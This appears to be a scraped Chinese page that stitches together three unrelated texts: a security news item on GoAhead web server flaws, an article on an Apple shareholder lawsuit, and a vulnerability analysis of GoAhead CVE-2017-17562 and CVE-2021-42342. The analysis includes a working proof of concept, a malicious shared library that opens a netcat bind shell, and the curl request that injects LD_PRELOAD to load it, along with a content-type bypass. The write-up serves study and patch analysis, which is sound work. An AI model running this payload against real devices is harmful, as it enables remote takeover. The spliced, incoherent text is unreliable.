整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

Talos专家发现GoAhead Web服务器的RCE漏洞

期,思科Talos的安全专家在GoAhead嵌入式Web服务中发现了两个漏洞,其中包括一个高危RCE漏洞。

GoAhead可以说是世界上最流行的微型嵌入式Web服务器,由EmbedThis开发。它原本的定义为“紧凑、安全和易于使用”。GoAhead已部署在数亿台设备中,是小型嵌入式设备的理想选择。根据Shodan搜索引擎的数据,在撰写本文时,暴露在公网上的GoAhead数量已经超过130万。


第一个漏洞被标记为CVE-2019-5096,与multi-part/form-data之类的请求有关。未经身份验证的攻击者可以利用这个漏洞触发一个use-after-free,通过发送恶意的HTTP请求在目标服务器上实现任意命令执行。

根据安全报告(https://blog.talosintelligence.com/2019/12/vulnerability-spotlight-EmbedThis-GoAhead.html)的说法:“对基于版本v5.0.1、v4.1.1和v3.6.5的GoAhead Web服务器的应用,在处理multi-part/form-data一类请求时存在一个远程命令执行漏洞。攻击者所发送的恶意HTTP请求可能触发use-after-free,破坏堆结构,导致命令执行。恶意请求可以以GET或POST请求的形式存在,并且所请求的资源不需要真实存在于目标服务器上。”


该漏洞的CVSS分数为9.8。

而研究人员发现的第二个漏洞被标记为CVE-2019-5097,也可被未经身份验证的攻击者所利用,通过发送恶意HTTP请求进行拒绝服务(DoS)攻击。

“对基于版本v5.0.1、v4.1.1和v3.6.5的GoAhead Web服务器的应用,在处理multi-part/form-data一类请求时存在一个拒绝服务漏洞。一个恶意HTTP请求可能导致服务器处理流程进入死循环。恶意请求可以以GET或POST请求的形式存在,并且所请求的资源不需要存在于目标服务器上。”


根据Talos的说法, GoAhead的5.0.1、4.1.1和3.6.5版本均受这两个漏洞影响。Talos已在8月份向EmbedThis报告了这些问题,而在11月21日这些漏洞已得到了解决。

早在2017年12月,Elttam的专家发现GoAhead Web服务存在缺陷(CVE-2017-17562),影响数十万物联网设备。这个漏洞也可以被利用在受影响的设备上执行恶意代码。


本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://nosec.org/home/detail/3268.html

原文:https://securityaffairs.co/wordpress/94692/hacking/goahead-rce.html

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

克被起诉了!

起诉他的不是别人,就是自家的股东。

11 月 6 日晚间,据路透社报道,苹果股东向库克提起了集体诉讼,理由是股东认为苹果公司首席执行官蒂姆·库克隐瞒中国市场对 iphone 的需求下降情况,导致投资者损失数十亿美元。

看到这个消息,网友也是炸了锅。

一方面认为这是个假消息,尤其是 iPhone12 刚发售,各大电商平台秒空,苹果官网都被挤瘫痪了,怎么可能会销量不佳?

另一方面网友们也认为这或许是件好事。

所以,究竟怎么回事呢?

为什么起诉库克?

事情还要从 2018 年说起。

2018 年 11 月 1 日,在苹果发布 iPhone XR、XS 和 XS Max 三款新机型两个月后,该公司在投资者电话会议上披露了 iPhone 的出货量以及其他内部信息,这些信息使投资者对购买更多苹果股票充满信心。

当时,苹果 CEO 库克在回答分析师提问时,描述了对新款 iPhone 销量的乐观看法。而在谈到新兴市场上的表现时,他提到 iPhone 在巴西和印度市场面临压力,却表示“我不会把中国列入其中”。

同一场合,苹果公司 CFO 卢卡·梅斯特里宣布,该公司将不再在季度财报中公布销量数据。

几天后,苹果开始要求供应商控制产量。

当月,苹果股价下跌 18.12%,次月,继续下跌 11.67%。

而 2018 年 8 月初,苹果刚刚突破万亿美元市值,成为美股历史上首个市值站上 1 万亿美元的上市公司。

所以,股东们认为苹果明明在新兴市场面临着销售压力,但库克却认为中国市场的销量不会受到影响。

2019 年 1 月,库克又出乎意料地声称,受中国市场的影响,将把季度营收预期下调了 90 亿美元。

当时,在下调预期营收的第二天,苹果股价大跌 10%,市值蒸发 740 亿美元(约合人民币 4886 亿元),同时也让投资者损失数十亿美元。

基于此,美国地方法官伊冯·刚萨雷斯·罗杰斯(Yvonne Gonzalez Rogers)在裁定中指出,起诉者有理由认为库克的言论存在严重的虚假、误导成分。

“尽管库克可能不知道苹果在中国市场已开始出现‘令人不安的迹象’的细节,但说他一无所知让人难以置信”。

11 月 5 日,这一指控得到了法官的同意。

虽然苹果和库克均表示,没有证据表明他们有意欺骗原告,但苹果这几年开始逐渐在中国市场力不从心是一个不争的事实。

苹果在中国市场不香了?

根据市场调研机构 IDC 发布的数据,2015-2019 年,iPhone 在中国市场的全年出货量分别为 5840 万部、4490 万部、4110 万部、3630 万部和 3280 万部,市场份额分别为 13.4%、9.6%、9.3%、9.2%和8.9%,均呈逐年下滑态势。

而在全球智能手机市场,苹果同样遭到中国厂商的“围堵”。

IDC 最新发布的报告显示,2020 年三季度,iPhone 全球出货 4160 万部,同比下降 10.6%,市场份额11.8% 首次被小米反超,跌至第四。

10 月 30 日凌晨,苹果发布了其截至 2020 年 9 月 30 日的第四季度财报。

财报显示,苹果公司 Q4 营收为 646.98 亿美元,比去年同期的 640.40 亿美元仅仅增长了 1%;净利润为 126.73 亿美元,比去年同期的 136.86 亿美元下降 8%。

总体来看,苹果硬件产品的净营收为 501.49 亿美元,低于去年同期的 515.29 亿美元。这其中,iPad、Mac 和其他硬件设备营收都出现了上升,尤其是 Mac,营收同比增长近 30% 。

唯有来自 iPhone 的营收出现了明显的下降,幅度将近 70 亿美元。

IDC 表示,这个下滑是在预期之内的,主要原因就是 iPhone 12 系列新品的发布延迟;不过,iPhone 11 系列的表现异乎寻常地好,其次是二代 iPhone SE。

而在苹果财报解读中,Tim Cook 表示,9 月的最后两周没有推出 iPhone 新品,导致数据不尽如人意,但是由于 10 月份 iPhone 12 系列已经发布,而中国 5G 发展非常迅速,因此苹果有信心在本季度实现中国区业绩的增长。

Tim Cook 还表示,中国的 5G 发展非常迅速,因此 iPhone 12 系列进入中国市场的时机刚刚好——不仅如此,5G 在全球各地都很普遍,而且 5G 覆盖范围正在扩大,事情会越变越好。

所以,你怎么看?

雷锋网雷锋网雷锋网

参考资料:

【1】https://www.itwire.com/mobility/apple-shareholders-get-go-ahead-for-class-action-over-cook-statement.html

【2】https://peoplesgazette.com/apple-faces-litigation-over-shareholders-losses/

【3】https://www.leiphone.com/news/202010/HtOzMWsA5pAxVhxQ.html

、前言

1.1 下载地址

二、CVE-2017-17562

2.1 漏洞分析

cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。

2.2 代码分析

漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:

代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。

如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。

随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。

PUBLIC char *websGetCgiCommName()
{
    return websTempFile(NULL, "cgi");
}


PUBLIC char *websTempFile(char *dir, char *prefix)
{
    static int count = 0;
    char   sep;


    sep = '/';
    if (!dir || *dir == '\0') {
#if WINCE
        dir = "/Temp";
        sep = '\\';
#elif ME_WIN_LIKE
        dir = getenv("TEMP");
        sep = '\\';
#elif VXWORKS
        dir = ".";
#else
        dir = "/tmp";
#endif
    }
    if (!prefix) {
        prefix = "tmp";
    }
    return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}


进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。

至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。

2.3 漏洞复现

下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)

git clone https://github.com/embedthis/goahead.git
cd goahead 
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead

编写恶意动态链接库,代码以及编译命令如下所示:

#include
#include


static void main(void) __attribute__((constructor));


static void main(void) {
           system("nc -lp 8888 -e /bin/sh");
}


// gcc --shared -fPIC poc.c -o poc.so


构造HTTP请求发送

curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0

断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。

2.4 补丁分析

首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。

其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。

三、cve-2021-42342

3.1 漏洞分析

cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:

进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。

上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。

后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。

3.2 代码分析

为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。
在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty

师傅的文章。

websOpen函数会根据配置启动相应的代码模块


其中关于cgi请求的回调函数通过

websDefineHandler函数定义。


websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。


websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。


其中

websAlloc函数调用initWebs函数对Webs结构体进行初始化。


此时

Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的


调用

websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。


3.2.1 WEBS_BEGIN

WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。

parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中


parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。


websRouteRequest函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。


调用

websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。

3.2.2 WEBS_CONTENT

返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。


进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。

initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。

processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。
processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。
processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。

当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。
返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中

3.2.3 WEBS_READY

程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。


在代码执行到漏洞位置时,

s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。


四、参考